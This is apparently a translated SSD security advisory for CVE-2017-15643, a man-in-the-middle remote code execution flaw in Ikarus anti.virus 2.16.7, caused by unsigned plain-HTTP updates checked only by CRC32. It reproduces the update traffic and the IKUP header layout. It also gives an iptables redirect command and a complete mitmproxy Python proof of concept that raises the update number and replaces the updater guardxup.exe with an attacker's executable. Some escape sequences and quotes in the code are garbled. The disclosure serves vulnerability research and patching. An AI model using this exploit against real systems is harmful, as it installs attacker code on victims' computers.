SSD安全公告–Ikraus Anti Virus 远程代码执行漏洞
Credit to Author: SSD / Maor Schwartz| Date: Mon, 27 Nov 2017 07:50:39 +0000
Want to get paid for a vulnerability similar to this one?
Contact us at: sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom
See our full scope at: https://blogs.securiteam.com/index.php/product_scope
漏洞概要
以下安全公告描述了在Ikraus Anti Virus 2.16.7中发现的一个远程代码执行漏洞。
KARUS anti.virus“可以保护你的个人数据和PC免受各种恶意软件的入侵。此外,反垃圾邮件模块可以保护用户免受垃圾邮件和电子邮件中的恶意软件攻击。 选择获奖的IKARUS扫描引擎,可以有效保护自己免受网络犯罪分子的侵害。 IKARUS是世界上最好的扫描引擎,它每天都在检测未知和已知的威胁。
漏洞提交者
一位独立的安全研究人员向 Beyond Security 的 SSD 报告了该漏洞
厂商响应
更新一
CVE: CVE-2017-15643
厂商已经发布了这些漏洞的补丁。获取更多信息:
https://www.ikarussecurity.com/about-ikarus/security-blog/vulnerability-in-windows-antivirus-products-ik-sa-2017-0001/
漏洞详细信息
网络攻击者(中间人攻击)可以在运行Ikraus反病毒软件的计算机上实现远程代码执行。
Windows版的Ikarus AV使用明文HTTP和CRC32校验进行更新,以及用于验证下载文件的一个更新值。
另外,ikarus检查更新版本号,通过增加更新的版本号,以推动更新进程进行更新。
在ikarus中执行更新的可执行文件是guardxup.exe
guardxup.exe,通过端口80,发送更新请求如下:
服务器响应如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | ``` HTTP/1.1 200 OK Date: Sun, 23 Oct 2016 04:51:05 GMT Server: Apache/2.4.10 (Debian) mod_perl/2.0.9dev Perl/v5.20.2 Content–Disposition: inline; filename=virusutilities Content–Length: 306 Connection: close Content–Type: text/plain; charset=ISO–8859–1 <url> full http://mirror04.ikarus.at/updates/ diff http://mirror06.ikarus.at/updates/ </url> <up> antispam_w64 001000076 antispam 001000076 update 001005047 virusutilities 002013019 t3modul_w64 002001016 t3modul 002001016 sdb 000007074 t3sigs 000098727 </up> <dependence> t3modul </dependence> ``` |
通过代理,我们可以修改响应,将“update”值加1,并将响应转发给客户端。
然后,客户端将通过此URL请求更新:http://mirror04.ikarus.at/updates/guardxup001005048.full
ikarus服务器将返回404:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | ``` HTTP/1.1 404 Not Found Server: nginx/1.6.2 Date: Sun, 23 Oct 2016 04:53:05 GMT Content–Type: text/html Content–Length: 168 Connection: close <html> <head><title>404 Not Found</title></head> <body bgcolor=“white”> <center><h1>404 Not Found</h1></center> <hr><center>nginx/1.6.2</center> </body> </html> ``` |
但我们可以用IKUP格式修改上述响应:
1 2 3 4 5 6 7 | Bytes: 0x0 – 0x3 == IKUP # header Bytes: 0x4 – 0x7 == 0x0s Bytes: 0x8 == 0x3C # pointer to start of PE EXE MZ header Bytes: 0x20 – 0x23 == update value in little endian (script fixes it up) Bytes: 0x24 – 0x27 == crc32 checksum (script populates from provided binary) Bytes: 0x28 -> pointer to MZ header == 0x0s Bytes: ‘pointer to MZ header’ -> ? == appended exe |
然后,我们将修改过后的响应转发到客户端,在那里用我们的可执行文件替换guardxup.exe。
漏洞证明
安装mitmproxy 0.17 – pip install mitmproxy == 0.17
要使用这个脚本,在透明代理模式下,通过中间人80端口转发客户端的通信流量。
设置你的防火墙规则以拦截8080端口上的通信流量:
1 | sudo iptables –t nat –A PREROUTING –p tcp —destination–port 80 –j REDIRECT —to–port 8080 |
然后执行如下脚本:
./poc.py file_to_deploy.exe
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 | #!/usr/bin/env python2 import os try: from mitmproxy import controller, proxy, platform from mitmproxy.proxy.server import ProxyServer except: from libmproxy import controller, proxy, platform from libmproxy.proxy.server import ProxyServer import re import struct import sys import zlib import bz2 class IkarusPOC(controller.Master): def __init__(self, server, backdoored_file): controller.Master.__init__(self, server) self.ikarus= {} self.crc_file = 0 self.backdoored_file = backdoored_file self.to_replace = 0 self.already_patched = 0 self.update_number = 0 def win_header(self): self.update_header = “x49x4Bx55x50x00x00x00x00x3Cx00x00x00x00x00x00x00” self.update_header += “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” self.update_header += struct.pack(“<I”, self.to_replace) # update number self.update_header += struct.pack(“<I”, self.crc_file) # checksum self.update_header += “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” self.update_header += “x00x00x00x00” def run(self): try: return controller.Master.run(self) except KeyboardInterrupt: self.shutdown() def crc_stream(self, a_string): prev = 0 return zlib.crc32(a_string, prev) & 0xFFFFFFFF def crc(self, some_file): prev = 0 for eachLine in open(some_file,“rb”): prev = zlib.crc32(eachLine, prev) self.crc_file = prev & 0xFFFFFFFF print “[*] crc_file”, self.crc_file def handle_request(self, flow): hid = (flow.request.host, flow.request.port) flow.reply() def handle_response(self, flow): print “[*] flow.request.host:”, flow.request.host if “cgi-bin/imsa-lite.pl” in flow.request.path and “Dalvik” in flow.request.headers[‘User-Agent’] and self.already_patched <=2: content = flow.reply.obj.response.content p = re.compile(“antispam[s|t].*n”) result = p.search(content) the_result = result.group(0) original_update_number= [int(s) for s in the_result.split() if s.isdigit()][0] if self.update_number == 0: self.update_number = original_update_number self.to_replace = self.update_number + 1 content = content.replace(str(original_update_number), str(self.to_replace)) flow.reply.obj.response.content = content if “cgi-bin/virusutilities.pl” in flow.request.path and ‘virusutilities’ in flow.request.headers[‘User-Agent’] and self.already_patched <= 2: print “[*] Found update response, modifying…” content = flow.reply.obj.response.content p = re.compile(“update[s|t].*n”) result = p.search(content) the_result = result.group(0) original_update_number = [int(s) for s in the_result.split() if s.isdigit()][0] if self.update_number == 0: self.update_number = original_update_number self.to_replace = self.update_number + 1 print ‘[*] Update_number’, self.update_number print ‘[*] Replace number’, self.to_replace content = content.replace(str(original_update_number), str(self.to_replace)) print “[*] Updated content”, content flow.reply.obj.response.content = content if ‘guard’ in flow.request.path and ‘full’ in flow.request.path and self.already_patched <= 2: print ‘[*] Found guardxup.exe request! Modifying request and pushing provided file!’ self.crc(self.backdoored_file) self.win_header() with open(self.backdoored_file, ‘rb’) as f: file_out = f.read() content = self.update_header + file_out with open(‘/tmp/update_test.full’, ‘wb’) as f: f.write(content) flow.reply.obj.response.content = content flow.reply.obj.response.status_code = 200 self.already_patched += 1 flow.reply() config = proxy.ProxyConfig(port=8080, mode=‘transparent’) server = ProxyServer(config) m = IkarusPOC(server, sys.argv[1]) m.run() |